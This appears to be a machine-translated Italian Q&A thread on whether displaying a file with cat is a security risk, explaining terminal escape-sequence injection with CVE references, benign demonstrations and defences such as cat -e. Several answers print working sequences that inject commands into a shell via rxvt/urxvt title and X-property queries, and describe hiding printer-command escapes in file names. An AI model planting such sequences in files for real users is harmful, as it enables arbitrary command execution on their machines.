GNU/Linux >> Linux Esercitazione >  >> Linux

Il cat-ing di un file può rappresentare un potenziale rischio per la sicurezza?

, è un rischio potenziale, vedi CVE-2003-0063, o CVE-2008-2383 o CVE-2010-2713, o CVE-2012-3515 o OSVDB 3881, o CVE-2003-0020 o uno qualsiasi di quelli simili elencati qui ... Alcuni altri anche nei commenti qui sotto.

Aggiorna non è solo un potenziale rischio, è un rischio reale .rxvt-unicode (versioni 2.7—9.19, patchato in 9.20) consente l'accesso in lettura/scrittura alle proprietà della finestra X, questo può abilitare l'esecuzione assistita dall'utente di comandi arbitrari, questo problema è stato assegnato CVE-2014-3121, maggiori dettagli qui https ://bugzilla.redhat.com/show_bug.cgi?id=1093287 .

Più recentemente (Ottobre 2019) iTerm2 le versioni fino alla v3.3.5 hanno riscontrato la stessa classe di problemi:la visualizzazione di contenuti dannosi può abilitare il tmux integrato e consentire l'esecuzione di comandi, vedere CVE-2019-9535.

Questo argomento ha anche una buona copertura qui:https://unix.stackexchange.com/questions/73713/how-safe-is-it-to-cat-an-arbitrary-file e un'analisi approfondita del problema sottostante da Gilles qui:https://unix.stackexchange.com/questions/15101/how-to-avoid-escape-sequence-attacks-in-terminals .

Spiegazione

Quello che stai osservando è un effetto collaterale di come si comportano certe sequenze di escape:alcune di esse inseriscono caratteri (di solito contenenti anche sequenze di escape) direttamente nel buffer di input del terminale . Tutto in nome della retrocompatibilità, ovviamente. Lo standard xterm gli escape che sono descritti usando il termine "Segnala " fanno questo. Questo comportamento consente ai programmi di interrogare/impostare le proprietà del terminale (o altro) "in banda" piuttosto che tramite ioctls o qualche altra API.

Come se ciò non bastasse, alcune di queste sequenze possono contenere una nuova riga , il che significa che qualunque cosa stia leggendo dal terminale (la tua shell) vedrà quello che sembra essere un comando utente completo.

Ecco un modo accurato per usarlo, con read di bash per stampare un escape (come prompt), quindi leggere immediatamente e suddividere la risposta in variabili:

IFS=';' read -sdt -p $'\e[18t' csi8 rows cols
echo rows=$rows cols=$cols

Queste sequenze possono variare in base al terminale, ma per rxvt e derivata, la query grafica escape include una nuova riga (esempio usando bash e $'' stringhe, vedi doc/rxvtRef.txt nella fonte)` :

$ echo $'\eGQ'
$ 0
bash: 0: command not found

Questo escape invia \033G0\n nel buffer di input del terminale (o digitare 1 invece di 0 se hai un rxvt capace di grafica ).

Quindi, combina questo escape con altre sequenze che si comportano in modo simile:

echo $'\x05' $'\e[>c' $'\e[6n' $'\e[x' $'\eGQ'

per me questo causa 11 tentativi di eseguire vari comandi:1 , 2c82 , 20710 (il mio rxvt stringa di versione), 0c5 , 3R (5 e 3 erano le coordinate del cursore), 112 e 0x0 .

Sfruttabile?

Con rxvt e gli emulatori di terminale più recenti dovresti "solo" essere in grado di creare un insieme limitato di sequenze per lo più numeriche. Nei vecchi emulatori di terminale era possibile (alcuni CVE elencati sopra) accedere agli appunti, all'icona della finestra e al testo della barra del titolo per costruire più stringhe dannose per l'invocazione (una leggera eccezione attuale è se si imposta answerbackString stringa di risorse X, ma che non può essere impostata direttamente utilizzando questo metodo). Il difetto quindi è consentire la lettura arbitraria di e accesso in scrittura a qualcosa che passa per stato o archiviazione all'interno di sequenze di escape che inseriscono i dati nel buffer di input.

rxvt richiede modifiche in fase di compilazione per l'attivazione, ma urxvt ha utilmente un -insecure opzione della riga di comando che abilita alcune delle funzionalità più interessanti:

$ echo $'\e]2;;uptime;\x07' $'\e[21;;t' $'\eGQ' 
bash: l: command not found
17:59:41 up 1448 days,  4:13, 16 users,  load average: 0.49, 0.52, 0.48
bash: 0: command not found

Le tre sequenze sono:

  1. \e]2;...\x07 imposta il titolo della finestra;
  2. \e[21;;t titolo della finestra di interrogazione, posto nel buffer di input;
  3. \eGQ funzionalità di query graphics, che aggiunge \n per inserire il buffer.

Ancora una volta, a seconda del terminale, altre funzionalità come la dimensione del carattere, i colori, la dimensione del terminale, il set di caratteri, i buffer dello schermo alternativi e altro ancora possono essere accessibili tramite escape. La modifica involontaria di questi è almeno un inconveniente, se non un vero e proprio problema di sicurezza. Versioni attuali di xterm limitare le funzionalità potenzialmente problematiche tramite le risorse "Consenti*".

CVE-2014-3121

Prima della v9.20, urxvt non proteggeva anche l'accesso in lettura e scrittura a proprietà X (utilizzato principalmente dai gestori di finestre). Scrivi l'accesso in lettura (o più precisamente, l'accesso a sequenze che echeggiano stringhe potenzialmente arbitrarie) ora richiede il -insecure opzione.

$ echo $'\e]3;xyzzy=uptime;date +%s;\x07'
$ xprop -id $WINDOWID xyzzy
xyzzy(UTF8_STRING) = 0x75, 0x70, 0x74, 0x69, 0x6d, 0x65, 0x3b, 0x64, 0x61, 0x74, \
0x65, 0x20, 0x2b, 0x25, 0x73, 0x3b

Questo può essere banalmente usato per inserire stringhe arbitrarie nel buffer di input del terminale. Quando viene richiamata la sequenza di escape per interrogare una proprietà (insieme all'utile \eGQ che aggiunge una nuova riga):

 $ echo $'\e]3;?xyzzy\x07' $'\eGQ'
 $ 3;uptime;date +%s;0
 bash: 3: command not found
 17:23:56 up 1474 days,  6:47, 14 users,  load average: 1.02, 1.20, 1.17
 1400603036
 bash: 0: command not found

Comandi multipli, preservando gli spazi bianchi e i metacaratteri della shell. Questo può essere sfruttato in vari modi, a partire dal cat-ing di un binario non attendibile, ovviamente, ulteriori idee in H.D. Breve articolo di Moore (2003).

Proseguimento

Per la sequenza di escape chiedi di:1;112;112;1;0x1;2 Questo è:Richiedi parametri terminale (DECREQTPARM) e Invia attributi dispositivo :

$ echo $'\e[x' $'\e[0c'
;1;1;112;112;1;0x1;2c

Il secondo (\e[0c ) equivale a ^E (utilizzando rxvt ). Ci sono anche alcune sequenze di fuga. la sequenza completa scritta per ognuno è, rispettivamente:

\e[1;1;1;112;112;1;0x
\e[?1;2c

Sicuramente sì.

Nuova aggiunta 2020-01-25:

Da tempo sono passato da LATIN-1 codifica in UTF-8 come codifica predefinita nella maggior parte dei miei sistemi, ho trovato alcune caratteristiche interessanti attorno a questo (ora ci sono due lunghezze per una stringa)...

Ad esempio, perché mi piace giocare con bash , ho chiesto perché la localizzazione bash non funziona con le stringhe multilinea. Questa funzionalità di bash presenta un bug, dove la soluzione consiste nell'usare eval . Se questo non è un difetto di sicurezza , questo potrebbe diventare o produrre uno...

In ogni evoluzione di quasi tutto (lingue, librerie, strumenti, protocolli, applicazioni, hardware, programmi di installazione, console, ecc...) ci sono nuove funzionalità, con potenziali nuovi bug...

Fortunatamente, sono pochi poiché vengono corretti rapidamente (vicino a un giorno da rivelare), ma lo sono!

Quindi decisamente sì, state attenti!

Uso corretto di cat comando.

Dato che sembra che tu stia usando un moderno emulatore di terminale , alcune sequenze di escape potrebbe essere utilizzato per modificare il buffer della tastiera .

Potrebbero essere stati inseriti comandi shell appropriati.

Potresti usare l'argomento -e di cat per un funzionamento sicuro, vedi man cat .

  -e     equivalent to -vE

  -E, --show-ends
         display $ at end of each line

  -v, --show-nonprinting
         use ^ and M- notation, except for LFD and TAB

Allora

$ cat -e suspectfile.raw
$ cat -e suspectfile.raw | less

o sotto bash:

$ less < <(cat -e suspectfile.raw)

o anche

$ which less cat
/usr/bin/less
/bin/cat
$ rawless() { /usr/bin/less < <(/bin/cat -e "[email protected]");}

Osservazioni

Quando leggi command not found , questo implica che qualcosa è stato effettivamente iniettato.

L'iniezione principale caratteristica che non era rimossa è la sequenza identifica te stesso , utilizzato in molti incapsulamenti VT-100.

Questa sequenza è Escape Z che inietterà la stringa 1;2c nel buffer della tastiera, che significa VT-100 (nella convenzione AVO).

A proposito di cat , potresti provare:

$ cat <<< $'\033Z'

O un'altra sequenza ANSI:CSI c (Attributi dispositivo ):

$ cat <<< $'\033[c'

stamperà una riga vuota, ma sulla riga successiva verrà visualizzato 1;2c (o forse con altri numeri, a seconda del terminale utilizzato) come se tu li ha colpiti:

$ 65;1;9c█

... ma con -e interruttore:

$ cat -e <<< $'\033Z'
^[Z$
$ cat -e <<< $'\033[c'
^[[c$

Dove -e => -vE , -v trasforma \033 in ^[ e -E metti un $ firmare alla fine della riga (e nulla verrà inserito nella riga successiva, il buffer della tastiera non è interessato).

Potresti trovare molte cose divertenti nella Guida per l'utente di VT100 (come:cat <<< $'\033#8';)

(Erano terminali moderni ! In qualche passato... )

Provo a usare bash

C'è un piccolo comando bash per svuotare il buffer della tastiera e ottenere il suo contenuto:

$ cat <<<$'\033[c';buf='';while read -t .1 -n 1 chr;do
        buf+="$chr"
  done;printf "\n>|%q|<\n" $buf

^[[?65;1;9c
>|$'\E[?65;1;9c'|<

E una piccola funzione per testare qualsiasi catena:

$ trySeq() {
    printf -v out "$1"
    echo -n "$out"
    buf=""
    while read -t.1 -n1 char
      do buf+="$char"
    done
    [ "$buf" ] && printf "\r|%q|->|%q|<\e[K\n" "$out" "$buf"
}

Quindi potrei provare:

$ for seq in $'\e['{c,{1..26}{n,t,x}};do
      trySeq "$seq";done
|$'\E[c'|->|$'\E[?65;1;9c'|<
|$'\E[1x'|->|$'\E[3;1;1;120;120;1;0x'|<
|$'\E[5n'|->|$'\E[0n'|<
...

(Magari con qualche innocuo effetti sulla tua console;)

Piccolo esempio pratico

Immagina, qualcuno potrebbe inserire qualcosa di simile nel tuo ambiente:

$ source <(printf '%dc() {
     printf "You\\047ve been hitted\\041\\n"
   };\n' {0..100};printf 'alias %s=1c\n' {0..100};)

Quindi, se

$ cat <<<$'\e[c'

$ 65;1;9c█

Il cursore rimarrà alla fine della riga del prompt dei comandi.

Da lì, se premi meccanicamente Invio invece di Ctrl + c , leggerai qualcosa del tipo:

$ 65;1;9c
You've been hitted!
You've been hitted!
You've been hitted!
$ █

E adesso?

Da lì, purtroppo, non esiste uno standard .

Ogni terminale virtuale l'implementazione potrebbe supportare lo standard ANSI completo e/o DEC completo...

Ma poiché ci sono alcuni problemi di sicurezza, molti non...

Potresti osservare alcuni comportamenti usando un terminale che non osserveresti usando un altro...

xterm, console linux, gnome-terminal, konsole, fbterm, Terminal (Mac OS)... l'elenco degli emulatori di terminale non è poi così breve!

E ognuno di loro ha i propri bug e limitazioni rispetto agli standard DEC e ANSI.

In pratica, potresti trovare qualche console virtuale che potrebbe essere più in primo piano rispetto a other e where iniezione di tastiera potrebbe violare la tua sicurezza.

È uno dei motivi per cui preferisco usare sempre lo stesso (vecchio) xterm piuttosto che altri strumenti più in primo piano.


I terminali di vetro "reali" avevano una sequenza di escape per stampare lo schermo su una stampante. Lo hanno fatto eseguendo un comando e reindirizzando il contenuto dello schermo corrente allo stdin del comando print.

Il comando potrebbe essere configurato da un'altra sequenza di escape.

Il modo classico di sfruttarlo era creare file con nomi che incorporassero la sequenza di escape per impostare il comando della stampante e cambiarlo in uno script a tua scelta e quindi avere un secondo file con la sequenza di escape print al suo interno.

Quando qualcuno ha eseguito ls in quella directory finirebbero per eseguire il tuo codice. Il che era bello se fossero i root utente!

In teoria i moderni emulatori di terminale non dovrebbero più fare quel genere di cose.

Terminal.app sembra essere basato su NextStep nsterm, quindi potrebbe contenere tutti i tipi di stranezze.

Forse prova a restringere il campo dei byte esatti che producono il command not found messaggi?

Sembra che ci siano sequenze di escape per alzare e abbassare il terminale:

http://the.taoofmac.com/space/apps/Terminal

qualche altra informazione qui:

http://invisible-island.net/ncurses/terminfo.src.html#toc-_Apple__Terminal_app

Se vuoi inviare contenuto allo stdin di un programma,

program -para meters < /path/file.ext

Linux
  1. Come posso collegare simbolicamente un file in Linux?

  2. Elimina la cronologia del terminale in Linux

  3. Come posso trovare un file specifico da un terminale Linux?

  4. Come creare un file in Linux dalla finestra del terminale?

  5. Come modificare un file di testo nel mio terminale

Cercapersone terminali

Perché Rm può rimuovere i file di sola lettura?

4 modi per creare un file di testo nel terminale Linux

Come rendere eseguibile un file nel terminale Linux?

Perché non riesco a scorrere nel terminale?

Un file .sh può essere un malware?